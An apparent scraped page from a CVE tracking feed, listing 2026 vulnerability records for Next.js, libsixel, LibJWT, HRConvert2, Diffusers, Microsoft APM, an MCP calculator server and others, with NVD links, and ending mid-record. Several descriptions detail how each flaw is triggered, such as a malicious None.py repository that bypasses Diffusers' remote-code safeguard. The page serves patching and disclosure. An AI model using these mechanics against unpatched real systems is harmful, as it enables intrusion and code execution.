Next.js is a React framework for building full-stack web applications. From  to before 15.5.16 and 16.2.5, applications using Partial Prerendering through the Cache Components feature can be vulnerable to connection exhaustion through crafted POST requests to a server action. In affected configurations, a malicious request can trigger a request-body handling deadlock that leaves connections open for an extended period, consuming file descriptors and server capacity until legitimate users are denied service. This vulnerability is fixed in 15.5.16 and 16.2.5.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gradient is a nix-based continuous integration system.
https://kevwire.com/record/CVE-2026-44592
Gradient is a nix-based continuous integration system. (May 14, 2026).
Gradient is a nix-based continuous integration system. In 1.1.0, when GRADIENT_DISCOVERABLE=true (the default, and the NixOS module default), anyone who can reach /proto can register as a worker without any credentials by sending a fresh, never-registered worker UUID. The resulting session has PeerAuth::Open, i.e. it sees jobs from every organisation, and can immediately NarPush/NarUploaded arbitrary store paths into nar_storage and the cached_path table. This vulnerability is fixed in 1.1.1.
CVSS 9.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44592).
Sources:
NVD CVE-2026-44592: https://nvd.nist.gov/vuln/detail/CVE-2026-44592
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Gradient is a nix-based continuous integration system. In 1.1.0, when GRADIENT_DISCOVERABLE=true (the default, and the NixOS module default), anyone who can reach /proto can register as a worker without any credentials by sending a fresh, never-registered worker UUID. The resulting session has PeerAuth::Open, i.e. it sees jobs from every organisation, and can immediately NarPush/NarUploaded arbitrary store paths into nar_storage and the cached_path table. This vulnerability is fixed in 1.1.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bytello Share (Windows Edition) installer executable provided by Bytello insecurely loads Dynamic Link Libraries.
https://kevwire.com/record/CVE-2026-44612
Bytello Share (Windows Edition) installer executable provided by Bytello insecurely loads Dynamic Link Libraries. (May 13, 2026).
Bytello Share (Windows Edition) installer executable provided by Bytello insecurely loads Dynamic Link Libraries. If there is a crafted DLL at the same directory when invoking the affected installer, arbitrary code may be executed with the privilege of the user invoking the installer.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44612).
Sources:
NVD CVE-2026-44612: https://nvd.nist.gov/vuln/detail/CVE-2026-44612
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Bytello Share (Windows Edition) installer executable provided by Bytello insecurely loads Dynamic Link Libraries. If there is a crafted DLL at the same directory when invoking the affected installer, arbitrary code may be executed with the privilege of the user invoking the installer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel.
https://kevwire.com/record/CVE-2026-44636
libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. (May 14, 2026).
libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. From  to 1.8.7-r1, signed integer overflow in sixel_encode_highcolor's allocation size calculation can lead to a heap buffer overflow. The public sixel_encode entry point validates only that width and height are greater than zero, with no upper bound. width and height are multiplied as plain int when computing the allocation size for paletted_pixels and normalized_pixels. Any caller that asks libsixel to encode a pixel buffer with width times height greater than INT_MAX (about 2.15 billion) will hit a wrapped allocation size; under the right wrap, the malloc succeeds with a buffer much smaller than the encoder expects, and the encoder writes past the end of the heap allocation. This vulnerability is fixed in 1.8.7-r2.
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44636).
Sources:
NVD CVE-2026-44636: https://nvd.nist.gov/vuln/detail/CVE-2026-44636
Vendor advisory (via NVD references): https://github.com/saitoha/libsixel/security/advisories/GHSA-hx93-w8p2-ffh5
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. From  to 1.8.7-r1, signed integer overflow in sixel_encode_highcolor's allocation size calculation can lead to a heap buffer overflow. The public sixel_encode entry point validates only that width and height are greater than zero, with no upper bound. width and height are multiplied as plain int when computing the allocation size for paletted_pixels and normalized_pixels. Any caller that asks libsixel to encode a pixel buffer with width times height greater than INT_MAX (about 2.15 billion) will hit a wrapped allocation size; under the right wrap, the malloc succeeds with a buffer much smaller than the encoder expects, and the encoder writes past the end of the heap allocation. This vulnerability is fixed in 1.8.7-r2.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel.
https://kevwire.com/record/CVE-2026-44637
libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. (May 14, 2026).
libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. From  to 1.8.7-r1, a signed integer overflow in the SIXEL parser's image-buffer doubling loop can lead to an out-of-bounds heap write in sixel_decode_raw_impl. context->pos_x grows by repeat_count on every sixel character with no upper bound check. Once pos_x approaches INT_MAX, the expression "pos_x + repeat_count" used to size the image buffer overflows signed int. Depending on how the overflow wraps, the resize check that should reject oversized buffers can be bypassed, after which a subsequent write computes a large attacker-influenced offset into image->data and writes past the allocation. Reachable from any caller that decodes attacker-supplied SIXEL data, including img2sixel. This vulnerability is fixed in 1.8.7-r2.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44637).
Sources:
NVD CVE-2026-44637: https://nvd.nist.gov/vuln/detail/CVE-2026-44637
Vendor advisory (via NVD references): https://github.com/saitoha/libsixel/security/advisories/GHSA-9jm7-77gr-qghv
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. From  to 1.8.7-r1, a signed integer overflow in the SIXEL parser's image-buffer doubling loop can lead to an out-of-bounds heap write in sixel_decode_raw_impl. context->pos_x grows by repeat_count on every sixel character with no upper bound check. Once pos_x approaches INT_MAX, the expression "pos_x + repeat_count" used to size the image buffer overflows signed int. Depending on how the overflow wraps, the resize check that should reject oversized buffers can be bypassed, after which a subsequent write computes a large attacker-influenced offset into image->data and writes past the allocation. Reachable from any caller that decodes attacker-supplied SIXEL data, including img2sixel. This vulnerability is fixed in 1.8.7-r2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Microsoft APM is an open-source, community-driven dependency manager for AI agents.
https://kevwire.com/record/CVE-2026-44641
Microsoft APM is an open-source, community-driven dependency manager for AI agents. (May 15, 2026).
Microsoft APM is an open-source, community-driven dependency manager for AI agents. Prior to 0.8.12, Microsoft APM normalizes marketplace plugins by copying plugin components referenced in plugin.json into .apm/. The manifest fields agents, skills, commands, and hooks are attacker-controlled, but the implementation does not enforce that those paths remain inside the plugin directory. A malicious plugin can therefore use absolute paths or ../ traversal paths to copy arbitrary readable host files or directories from the installer's machine during apm install. This vulnerability is fixed in 0.8.12.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44641).
Sources:
NVD CVE-2026-44641: https://nvd.nist.gov/vuln/detail/CVE-2026-44641
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Microsoft APM is an open-source, community-driven dependency manager for AI agents. Prior to 0.8.12, Microsoft APM normalizes marketplace plugins by copying plugin components referenced in plugin.json into .apm/. The manifest fields agents, skills, commands, and hooks are attacker-controlled, but the implementation does not enforce that those paths remain inside the plugin directory. A malicious plugin can therefore use absolute paths or ../ traversal paths to copy arbitrary readable host files or directories from the installer's machine during apm install. This vulnerability is fixed in 0.8.12.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OneDev is a Git server with CI/CD, kanban, and packages.
https://kevwire.com/record/CVE-2026-44647
OneDev is a Git server with CI/CD, kanban, and packages. (May 14, 2026).
OneDev is a Git server with CI/CD, kanban, and packages. Prior to 15.0.2, there is behavior that breaks the expected boundary between repository-controlled LFS metadata and server-local filesystem paths. A repository object can steer raw blob reads to arbitrary local files that the server account can access. User with push permission to any repository will be able to access any server files accessible by server process. This vulnerability is fixed in 15.0.2.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44647).
Sources:
NVD CVE-2026-44647: https://nvd.nist.gov/vuln/detail/CVE-2026-44647
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OneDev is a Git server with CI/CD, kanban, and packages. Prior to 15.0.2, there is behavior that breaks the expected boundary between repository-controlled LFS metadata and server-local filesystem paths. A repository object can steer raw blob reads to arbitrary local files that the server account can access. User with push permission to any repository will be able to access any server files accessible by server process. This vulnerability is fixed in 15.0.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HRConvert2 is a self-hosted, drag-and-drop & nosql file conversion server & share tool.
https://kevwire.com/record/CVE-2026-44666
HRConvert2 is a self-hosted, drag-and-drop & nosql file conversion server & share tool. (May 14, 2026).
HRConvert2 is a self-hosted, drag-and-drop & nosql file conversion server & share tool. Prior to 3.3.8, the sanitizeString() function in convertCore.php is missing backtick (`) and tab (\t) from its strip list. User input then reaches shell_exec(), where the shell interprets these characters and commands within filenames execute. This vulnerability is fixed in 3.3.8.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44666).
Sources:
NVD CVE-2026-44666: https://nvd.nist.gov/vuln/detail/CVE-2026-44666
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
HRConvert2 is a self-hosted, drag-and-drop & nosql file conversion server & share tool. Prior to 3.3.8, the sanitizeString() function in convertCore.php is missing backtick (`) and tab (\t) from its strip list. User input then reaches shell_exec(), where the shell interprets these characters and commands within filenames execute. This vulnerability is fixed in 3.3.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libyang is a YANG data modeling language library.
https://kevwire.com/record/CVE-2026-44673
libyang is a YANG data modeling language library. (May 14, 2026).
libyang is a YANG data modeling language library. Prior to SO 5.2.15, lyb_read_string() in src/parser_lyb.c contains an integer overflow that results in a heap buffer overflow when parsing a maliciously crafted LYB binary blob. An attacker who can supply LYB data to any libyang consumer (NETCONF server, sysrepo, etc.) can trigger a crash or potential heap corruption. This vulnerability is fixed in SO 5.2.15.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44673).
Sources:
NVD CVE-2026-44673: https://nvd.nist.gov/vuln/detail/CVE-2026-44673
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
libyang is a YANG data modeling language library. Prior to SO 5.2.15, lyb_read_string() in src/parser_lyb.c contains an integer overflow that results in a heap buffer overflow when parsing a maliciously crafted LYB binary blob. An attacker who can supply LYB data to any libyang consumer (NETCONF server, sysrepo, etc.) can trigger a crash or potential heap corruption. This vulnerability is fixed in SO 5.2.15.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LibJWT is a C JSON Web Token Library.
https://kevwire.com/record/CVE-2026-44699
LibJWT is a C JSON Web Token Library. (May 15, 2026).
LibJWT is a C JSON Web Token Library. From 3.0.0 to 3.3.2, libjwt accepts an RSA JWK that does not contain an alg parameter as the verification key for an HS256/HS384/HS512 token. In the OpenSSL backend, this causes HMAC verification to run with a zero-length key, so an attacker can forge a valid JWT without knowing any secret or RSA private key. This is an algorithm-confusion authentication bypass. It affects applications that load RSA keys from JWKS where alg is omitted, which is valid JWK syntax and common in real deployments, and then choose the verification algorithm from the JWT header, for example in a kid lookup callback. This vulnerability is fixed in 3.3.3.
CVSS 9.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44699).
Sources:
NVD CVE-2026-44699: https://nvd.nist.gov/vuln/detail/CVE-2026-44699
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
LibJWT is a C JSON Web Token Library. From 3.0.0 to 3.3.2, libjwt accepts an RSA JWK that does not contain an alg parameter as the verification key for an HS256/HS384/HS512 token. In the OpenSSL backend, this causes HMAC verification to run with a zero-length key, so an attacker can forge a valid JWT without knowing any secret or RSA private key. This is an algorithm-confusion authentication bypass. It affects applications that load RSA keys from JWKS where alg is omitted, which is valid JWK syntax and common in real deployments, and then choose the verification algorithm from the JWT header, for example in a kid lookup callback. This vulnerability is fixed in 3.3.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Elixir WebRTC is an Elixir implementation of the W3C WebRTC API.
https://kevwire.com/record/CVE-2026-44700
Elixir WebRTC is an Elixir implementation of the W3C WebRTC API. (May 14, 2026).
Elixir WebRTC is an Elixir implementation of the W3C WebRTC API. Prior to 0.15.1 and 0.16.1, missing DTLS peer certificate fingerprint validation in the DTLS client (active) role removes one side of WebRTC's mutual authentication. The bug is not independently exploitable for media interception in standard deployments, but enables a full man-in-the-middle attack when chained with insecure signalling or a peer with similar validation gaps. This vulnerability is fixed in 0.15.1 and 0.16.1.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44700).
Sources:
NVD CVE-2026-44700: https://nvd.nist.gov/vuln/detail/CVE-2026-44700
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Elixir WebRTC is an Elixir implementation of the W3C WebRTC API. Prior to 0.15.1 and 0.16.1, missing DTLS peer certificate fingerprint validation in the DTLS client (active) role removes one side of WebRTC's mutual authentication. The bug is not independently exploitable for media interception in standard deployments, but enables a full man-in-the-middle attack when chained with insecure signalling or a peer with similar validation gaps. This vulnerability is fixed in 0.15.1 and 0.16.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MCP Calculate Server is a mathematical calculation service based on MCP protocol and SymPy library.
https://kevwire.com/record/CVE-2026-44717
MCP Calculate Server is a mathematical calculation service based on MCP protocol and SymPy library. (May 15, 2026).
MCP Calculate Server is a mathematical calculation service based on MCP protocol and SymPy library. Prior to 0.1.1, the use of eval() to evaluate mathematical expressions without proper input sanitization leads to remote code execution. This vulnerability is fixed in 0.1.1.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44717).
Sources:
NVD CVE-2026-44717: https://nvd.nist.gov/vuln/detail/CVE-2026-44717
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
MCP Calculate Server is a mathematical calculation service based on MCP protocol and SymPy library. Prior to 0.1.1, the use of eval() to evaluate mathematical expressions without proper input sanitization leads to remote code execution. This vulnerability is fixed in 0.1.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores.
https://kevwire.com/record/CVE-2026-44826
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. (May 15, 2026).
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.2, Vvveb CMS does not validate the sign of the quantity parameter on the cart-add endpoint. Submitting a negative integer is accepted by the server and treated as a normal positive line-item, but with the sign carried through into every downstream computation: line total, sub-total, taxes, and grand total all become negative numbers. The customer-facing cart UI then displays a negative grand total to the user, the checkout flow accepts the negative cart, and the resulting order is persisted in the merchant's database with a negative total column. From the merchant's order management dashboard, this surfaces as a real order with a negative total — an "the merchant owes the customer money" record that no legitimate workflow ever creates. This vulnerability is fixed in 1.0.8.2.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44826).
Sources:
NVD CVE-2026-44826: https://nvd.nist.gov/vuln/detail/CVE-2026-44826
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.2, Vvveb CMS does not validate the sign of the quantity parameter on the cart-add endpoint. Submitting a negative integer is accepted by the server and treated as a normal positive line-item, but with the sign carried through into every downstream computation: line total, sub-total, taxes, and grand total all become negative numbers. The customer-facing cart UI then displays a negative grand total to the user, the checkout flow accepts the negative cart, and the resulting order is persisted in the merchant's database with a negative total column. From the merchant's order management dashboard, this surfaces as a real order with a negative total — an "the merchant owes the customer money" record that no legitimate workflow ever creates. This vulnerability is fixed in 1.0.8.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Diffusers is the a library for  pretrained diffusion models.
https://kevwire.com/record/CVE-2026-44827
Diffusers is the a library for  pretrained diffusion models. (May 14, 2026).
Diffusers is the a library for  pretrained diffusion models. Prior to 0.38.0, diffusers 0.37.0 allows remote code execution without the trust_remote_code=True safeguard when loading pipelines from Hugging Face Hub repositories. The _resolve_custom_pipeline_and_cls function in pipeline_loading_utils.py performs string interpolation on the custom_pipeline parameter using f"{custom_pipeline}.py". When custom_pipeline is not supplied by the user, it defaults to None, which Python interpolates as the literal string "None.py". If an attacker publishes a Hub repository containing a file named None.py with a class that subclasses DiffusionPipeline, the file is automatically downloaded and executed during a standard DiffusionPipeline.from_pretrained() call with no additional keyword arguments. The trust_remote_code check in DiffusionPipeline.download() is bypassed because it evaluates custom_pipeline is not None as False (since the kwarg was never supplied), while the downstream code path that actually loads the module resolves the None value into a valid filename. An attacker can achieve silent arbitrary code execution by publishing a malicious model repository with a None.py file and a standard-looking model_index.json that references a legitimate pipeline class name, requiring only that a victim calls from_pretrained on the repository. This vulnerability is fixed in 0.38.0.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44827).
Sources:
NVD CVE-2026-44827: https://nvd.nist.gov/vuln/detail/CVE-2026-44827
Vendor advisory (via NVD references): https://github.com/huggingface/diffusers/security/advisories/GHSA-j7w6-vpvq-j3gm
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Diffusers is the a library for  pretrained diffusion models. Prior to 0.38.0, diffusers 0.37.0 allows remote code execution without the trust_remote_code=True safeguard when loading pipelines from Hugging Face Hub repositories. The _resolve_custom_pipeline_and_cls function in pipeline_loading_utils.py performs string interpolation on the custom_pipeline parameter using f"{custom_pipeline}.py". When custom_pipeline is not supplied by the user, it defaults to None, which Python interpolates as the literal string "None.py". If an attacker publishes a Hub repository containing a file named None.py with a class that subclasses DiffusionPipeline, the file is automatically downloaded and executed during a standard DiffusionPipeline.from_pretrained() call with no additional keyword arguments. The trust_remote_code check in DiffusionPipeline.download() is bypassed because it evaluates custom_pipeline is not None as False (since the kwarg was never supplied), while the downstream code path that actually loads the module resolves the None value into a valid filename. An attacker can achieve silent arbitrary code execution by publishing a malicious model repository with a None.py file and a standard-looking model_index.json that references a legitimate pipeline class name, requiring only that a victim calls from_pretrained on the repository. This vulnerability is fixed in 0.38.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating...
https://kevwire.com/record/CVE-2026-44856
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating... (May 12, 2026).
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44856).
Sources:
NVD CVE-2026-44856: https://nvd.nist.gov/vuln/detail/CVE-2026-44856
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating...
https://kevwire.com/record/CVE-2026-44857
